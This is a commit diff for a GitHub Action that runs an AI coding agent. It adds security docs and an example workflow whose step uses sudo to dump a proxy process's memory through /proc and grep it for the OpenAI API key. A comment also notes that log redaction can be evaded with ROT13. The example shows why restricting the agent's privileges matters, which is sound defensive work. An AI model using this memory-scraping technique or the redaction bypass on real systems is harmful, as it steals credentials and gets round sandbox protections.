docs: illustrate potential exfiltration risk (#16)

This commit is contained in:
Michael Bolin
2025-10-05 15:43:55 -07:00
committed by GitHub
parent a6adb840fd
commit db5cafce4c
4 changed files with 78 additions and 2 deletions
+3 -1
View File
@@ -111,7 +111,9 @@ jobs:
## Safety Strategy
- The `safety-strategy` input determines how much access Codex receives on the runner. Choosing the right option is critical, especially when sensitive secrets (like your OpenAI API key) are present.
The `safety-strategy` input determines how much access Codex receives on the runner. Choosing the right option is critical, especially when sensitive secrets (like your OpenAI API key) are present.
See [Protecting your `OPENAI_API_KEY`](./docs/security.md#protecting-your-openai_api_key) on the Security page for important details on this topic.
- **`drop-sudo` (default)** — On Linux and macOS runners, the action revokes the default user’s `sudo` membership before invoking Codex. Codex then runs as that user without superuser privileges. This change lasts for the rest of the job, so subsequent steps cannot rely on `sudo`. This is usually the safest choice on GitHub-hosted runners.
- **`unprivileged-user`** — Runs Codex as the user provided via `codex-user`. Use this if you manage your own runner with a pre-created unprivileged account. Ensure the user can read the repository checkout and any files Codex needs.
+1 -1
View File
@@ -30,7 +30,7 @@ inputs:
codex-version:
description: "Version of `@openai/codex` to install."
required: false
default: "0.43.0-alpha.18"
default: "0.45.0-alpha.4"
codex-args:
description: "Additional args to pass through to `codex exec`. If this value starts with `[`, it will be parsed as a JSON array; otherwise, it will be parsed as a shell-like string."
required: false
+8
View File
@@ -1,5 +1,13 @@
# Security
## Protecting your `OPENAI_API_KEY`
No doubt your `OPENAI_API_KEY` is an important secret that you do not want to share with the world. **Be sure to use either `drop-sudo` or `unprivileged-user` to ensure it stays secret!**
To underscore the importance of specifying either `drop-sudo` or `unprivileged-user` as the `safety-strategy` for `openai/codex-action`, we provide [an example](../examples/test-sandbox-protections.yml) of how **the combination of read-only access to the filesystem and `sudo` can be used to expose your `OPENAI_API_KEY`**. This often surprises developers, as many expect the combination of "read-only access" and no network to be a sufficient safeguard, but this is not the case in the presence of passwordless `sudo` (which is the default on GitHub-hosted runners). Notably, Linux's [procfs](https://en.wikipedia.org/wiki/Procfs) makes a considerable amount of information available via file-read operations to a user with appropriate privileges.
In the unfortunate event that your API key has leaked, see [this article](https://help.openai.com/en/articles/9047852-how-can-i-delete-my-api-key) that explains how delete/revoke an API key using the [OpenAI Platform's API keys page](https://platform.openai.com/api-keys).
## Recommendation: run `openai/codex-action` as the last step in a job
Particularly if you run Codex with loose permissions, there are no guarantees what the state of the host is when the `openai/codex-action` completes. For example:
+66
View File
@@ -0,0 +1,66 @@
# This example demonstrates the importance of using `drop-sudo` or `read-only`
# safety strategies to prevent exfiltration of sensitive data like API keys.
name: Test sandbox protections
on:
workflow_dispatch:
jobs:
assess-exfiltration-risk:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
safety-strategy:
# `drop-sudo` is the default `safety-strategy`, which prevents the
# malicious behavior allowed by the other strategies in this example.
- drop-sudo
# `read-only` cannot write files or talk to the network, but as we
# will see, it still allows some dangerous operations.
- read-only
- unsafe
steps:
- uses: actions/checkout@v5
- name: Run Codex (${{ matrix.safety-strategy }})
uses: openai/codex-action@main
with:
# An OpenAI API key often starts with `sk-proj-` and is followed
# by random characters matching [A-Za-z-0-9_-].
openai-api-key: sk-proj-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
safety-strategy: ${{ matrix.safety-strategy }}
- name: Try to dump the key from the codex-responses-api-proxy process
run: |
# Find the PID for the codex-responses-api-proxy process.
SERVER_INFO_FILE="$HOME/.codex/${{ github.run_id }}.json"
PID=$(jq .pid < "$SERVER_INFO_FILE")
# Using standard filesystem read operations (albeit privileged ones),
# try to dump the memory of the process to disk to search for the key.
sudo bash -s -- "$PID" <<'SCAN_MEM'
pid="$1"
mem="/proc/$pid/mem"
i=0
while read -r rng perms _; do
[[ $perms != r* ]] && continue
start=$((0x${rng%-*}))
end=$((0x${rng#*-}))
dd if="$mem" of="/tmp/$pid-$i.bin" bs=4096 iflag=skip_bytes,count_bytes \
skip="$start" count="$((end - start))" status=none || true
i=$((i + 1))
done < "/proc/$pid/maps"
SCAN_MEM
# Use ordinary grep to search for the key pattern in the dumped memory files.
matches=$(grep -aPo '(?<![A-Za-z0-9_-])sk-proj-[A-Za-z0-9_-]+(?![A-Za-z0-9_-])' /tmp/${PID}-*.bin | sort -u)
if [ -n "$matches" ]; then
# Note that if `openai-api-key` was read from a GitHub secret, the
# secret scanning feature would redact it from logs, but this
# could easily be circumvented by using a toy cipher like ROT13:
# https://en.wikipedia.org/wiki/ROT13.
echo "Potential leaks found:"
printf '%s\n' "$matches"
else
echo "No leaks found"
fi